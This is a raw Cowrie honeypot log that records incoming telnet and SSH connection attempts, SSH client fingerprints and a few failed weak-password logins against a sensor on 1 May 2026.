{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":45028,"dst_ip":"10.17.0.5","dst_port":23,"session":"0789b5e123bd","protocol":"telnet","message":"New connection: 108.179.218.230:45028 (10.17.0.5:23) [session: 0789b5e123bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:05.830526Z"}
{"eventid":"cowrie.session.closed","duration":31.403278589248657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:05.918206Z","src_ip":"108.179.218.230","session":"3d73f080489c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.420706748962402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:06.432449Z","src_ip":"108.179.218.230","session":"01bcd4398d8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":46720,"dst_ip":"10.17.0.5","dst_port":23,"session":"631b5a61f14f","protocol":"telnet","message":"New connection: 108.179.218.230:46720 (10.17.0.5:23) [session: 631b5a61f14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:06.846526Z"}
{"eventid":"cowrie.session.closed","duration":30.87342929840088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:08.434534Z","src_ip":"108.179.218.230","session":"c80522769877","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.12677264213562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:08.496332Z","src_ip":"108.179.218.230","session":"615c395ac5ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54792,"dst_ip":"159.203.135.109","dst_port":23,"session":"828217ebc2ff","protocol":"telnet","message":"New connection: 212.47.75.195:54792 (159.203.135.109:23) [session: 828217ebc2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:08.937934Z"}
{"eventid":"cowrie.session.closed","duration":30.8162579536438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:10.232780Z","src_ip":"176.74.31.147","session":"36eef3c88b2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54794,"dst_ip":"159.203.135.109","dst_port":23,"session":"52e0b25d5e03","protocol":"telnet","message":"New connection: 212.47.75.195:54794 (159.203.135.109:23) [session: 52e0b25d5e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:12.158376Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54796,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ac063c8961b","protocol":"telnet","message":"New connection: 212.47.75.195:54796 (159.203.135.109:23) [session: 1ac063c8961b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:12.379338Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54798,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9cd523ea8d9","protocol":"telnet","message":"New connection: 212.47.75.195:54798 (159.203.135.109:23) [session: e9cd523ea8d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:12.584749Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.175.46","src_port":59918,"dst_ip":"159.203.135.109","dst_port":23,"session":"de5818e2f95c","protocol":"telnet","message":"New connection: 31.186.175.46:59918 (159.203.135.109:23) [session: de5818e2f95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:12.634939Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54800,"dst_ip":"159.203.135.109","dst_port":23,"session":"8833be31740e","protocol":"telnet","message":"New connection: 212.47.75.195:54800 (159.203.135.109:23) [session: 8833be31740e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:12.671082Z"}
{"eventid":"cowrie.session.closed","duration":31.602701425552368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:15.384569Z","src_ip":"108.179.218.230","session":"e21a8aa4e717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":49126,"dst_ip":"10.17.0.5","dst_port":23,"session":"4414e1af0efc","protocol":"telnet","message":"New connection: 108.179.218.230:49126 (10.17.0.5:23) [session: 4414e1af0efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:15.790036Z"}
{"eventid":"cowrie.session.closed","duration":38.31425189971924,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:15.856078Z","src_ip":"108.179.218.230","session":"758d536ab2f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54802,"dst_ip":"159.203.135.109","dst_port":23,"session":"688ad453bd47","protocol":"telnet","message":"New connection: 212.47.75.195:54802 (159.203.135.109:23) [session: 688ad453bd47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:16.515522Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54804,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a6700dbee62","protocol":"telnet","message":"New connection: 212.47.75.195:54804 (159.203.135.109:23) [session: 5a6700dbee62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:17.339993Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54808,"dst_ip":"159.203.135.109","dst_port":23,"session":"5abb974dd53b","protocol":"telnet","message":"New connection: 212.47.75.195:54808 (159.203.135.109:23) [session: 5abb974dd53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:18.468380Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51214,"dst_ip":"159.203.135.109","dst_port":22,"session":"cccc41d9fe80","protocol":"ssh","message":"New connection: 122.168.114.167:51214 (159.203.135.109:22) [session: cccc41d9fe80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:18.801481Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54810,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc4659c5f60f","protocol":"telnet","message":"New connection: 212.47.75.195:54810 (159.203.135.109:23) [session: dc4659c5f60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:19.496112Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54812,"dst_ip":"159.203.135.109","dst_port":23,"session":"f04015ca1e7a","protocol":"telnet","message":"New connection: 212.47.75.195:54812 (159.203.135.109:23) [session: f04015ca1e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:19.937045Z"}
{"eventid":"cowrie.session.closed","duration":30.70558762550354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:20.721573Z","src_ip":"108.179.218.230","session":"178a3f21265a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.973050117492676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:21.065497Z","src_ip":"108.179.218.230","session":"255fbef41864","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:21.288945Z","src_ip":"122.168.114.167","session":"cccc41d9fe80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:21.292790Z","src_ip":"122.168.114.167","session":"cccc41d9fe80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.853594303131104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:21.473880Z","src_ip":"108.179.218.230","session":"da5e773b1988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.175.46","src_port":34634,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1b0b786516e","protocol":"telnet","message":"New connection: 31.186.175.46:34634 (159.203.135.109:23) [session: f1b0b786516e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:22.055310Z"}
{"eventid":"cowrie.session.closed","duration":30.45685601234436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:22.442732Z","src_ip":"108.179.218.230","session":"0345b9ece8c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54814,"dst_ip":"159.203.135.109","dst_port":23,"session":"29a905bd13f8","protocol":"telnet","message":"New connection: 212.47.75.195:54814 (159.203.135.109:23) [session: 29a905bd13f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:23.406884Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.249.116","src_port":60502,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ef2c6fd785c","protocol":"telnet","message":"New connection: 31.41.249.116:60502 (159.203.135.109:23) [session: 3ef2c6fd785c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:24.808216Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54816,"dst_ip":"159.203.135.109","dst_port":23,"session":"36fd5905d6b2","protocol":"telnet","message":"New connection: 212.47.75.195:54816 (159.203.135.109:23) [session: 36fd5905d6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:24.871156Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":54854,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5d6b8c4b025","protocol":"telnet","message":"New connection: 108.179.218.230:54854 (10.17.0.5:23) [session: d5d6b8c4b025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:25.984541Z"}
{"eventid":"cowrie.session.closed","duration":30.27354598045349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:28.104751Z","src_ip":"133.130.75.21","session":"38267e93a75b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":60188,"dst_ip":"10.17.0.5","dst_port":22,"session":"0762c6485e97","protocol":"ssh","message":"New connection: 186.80.18.158:60188 (10.17.0.5:22) [session: 0762c6485e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:28.168629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:28.174199Z","src_ip":"186.80.18.158","session":"0762c6485e97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:28.249840Z","src_ip":"186.80.18.158","session":"0762c6485e97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tomtest","message":"login attempt [tom/tomtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:28.560844Z","src_ip":"186.80.18.158","session":"0762c6485e97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:29.642474Z","src_ip":"186.80.18.158","session":"0762c6485e97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":58544,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cae64469465","protocol":"telnet","message":"New connection: 108.179.218.230:58544 (10.17.0.5:23) [session: 4cae64469465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:33.950163Z"}
{"eventid":"cowrie.session.closed","duration":30.73920726776123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:34.157648Z","src_ip":"133.130.75.21","session":"ded1a79bcb71","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:34.574011Z","src_ip":"122.168.114.167","session":"cccc41d9fe80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.175.46","src_port":39070,"dst_ip":"159.203.135.109","dst_port":23,"session":"794d5239e1f2","protocol":"telnet","message":"New connection: 31.186.175.46:39070 (159.203.135.109:23) [session: 794d5239e1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:34.885099Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":59744,"dst_ip":"10.17.0.5","dst_port":23,"session":"a82b4f8f16b5","protocol":"telnet","message":"New connection: 108.179.218.230:59744 (10.17.0.5:23) [session: a82b4f8f16b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:35.518116Z"}
{"eventid":"cowrie.session.closed","duration":30.95423698425293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:36.784637Z","src_ip":"108.179.218.230","session":"0789b5e123bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":60552,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6d7891b75f7","protocol":"telnet","message":"New connection: 108.179.218.230:60552 (10.17.0.5:23) [session: a6d7891b75f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:37.624029Z"}
{"eventid":"cowrie.session.closed","duration":30.811972856521606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:37.658368Z","src_ip":"108.179.218.230","session":"631b5a61f14f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":60598,"dst_ip":"10.17.0.5","dst_port":23,"session":"de2e7a42bb10","protocol":"telnet","message":"New connection: 108.179.218.230:60598 (10.17.0.5:23) [session: de2e7a42bb10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:37.712456Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":60526,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c9234ec5f0c","protocol":"telnet","message":"New connection: 108.179.218.230:60526 (10.17.0.5:23) [session: 5c9234ec5f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:38.514577Z"}
{"eventid":"cowrie.session.closed","duration":30.813250303268433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:39.751045Z","src_ip":"212.47.75.195","session":"828217ebc2ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"21.4","message":"Connection lost after 21.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:40.205494Z","src_ip":"122.168.114.167","session":"cccc41d9fe80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.55651354789734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:43.191354Z","src_ip":"31.186.175.46","session":"de5818e2f95c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942833423614502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:43.322057Z","src_ip":"212.47.75.195","session":"1ac063c8961b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74850368499756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:43.333161Z","src_ip":"212.47.75.195","session":"e9cd523ea8d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211814641952515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:43.370110Z","src_ip":"212.47.75.195","session":"52e0b25d5e03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864863872528076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:43.535818Z","src_ip":"212.47.75.195","session":"8833be31740e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.436570405960083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:47.226518Z","src_ip":"108.179.218.230","session":"4414e1af0efc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828758001327515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:47.344182Z","src_ip":"212.47.75.195","session":"688ad453bd47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.175.46","src_port":43046,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c96e169b027","protocol":"telnet","message":"New connection: 31.186.175.46:43046 (159.203.135.109:23) [session: 0c96e169b027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:47.523037Z"}
{"eventid":"cowrie.session.closed","duration":31.19276714324951,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:48.532501Z","src_ip":"212.47.75.195","session":"5a6700dbee62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":37192,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a07fe406879","protocol":"telnet","message":"New connection: 108.179.218.230:37192 (10.17.0.5:23) [session: 1a07fe406879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:48.758867Z"}
{"eventid":"cowrie.session.closed","duration":30.710404872894287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:49.178687Z","src_ip":"212.47.75.195","session":"5abb974dd53b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49556,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc9fb8e6ea44","protocol":"ssh","message":"New connection: 159.203.92.129:49556 (159.203.135.109:22) [session: cc9fb8e6ea44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:50.090906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:50.094719Z","src_ip":"159.203.92.129","session":"cc9fb8e6ea44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:50.100925Z","src_ip":"159.203.92.129","session":"cc9fb8e6ea44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ari","password":"ari","message":"login attempt [ari/ari] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:50.125170Z","src_ip":"159.203.92.129","session":"cc9fb8e6ea44","protocol":"ssh"}
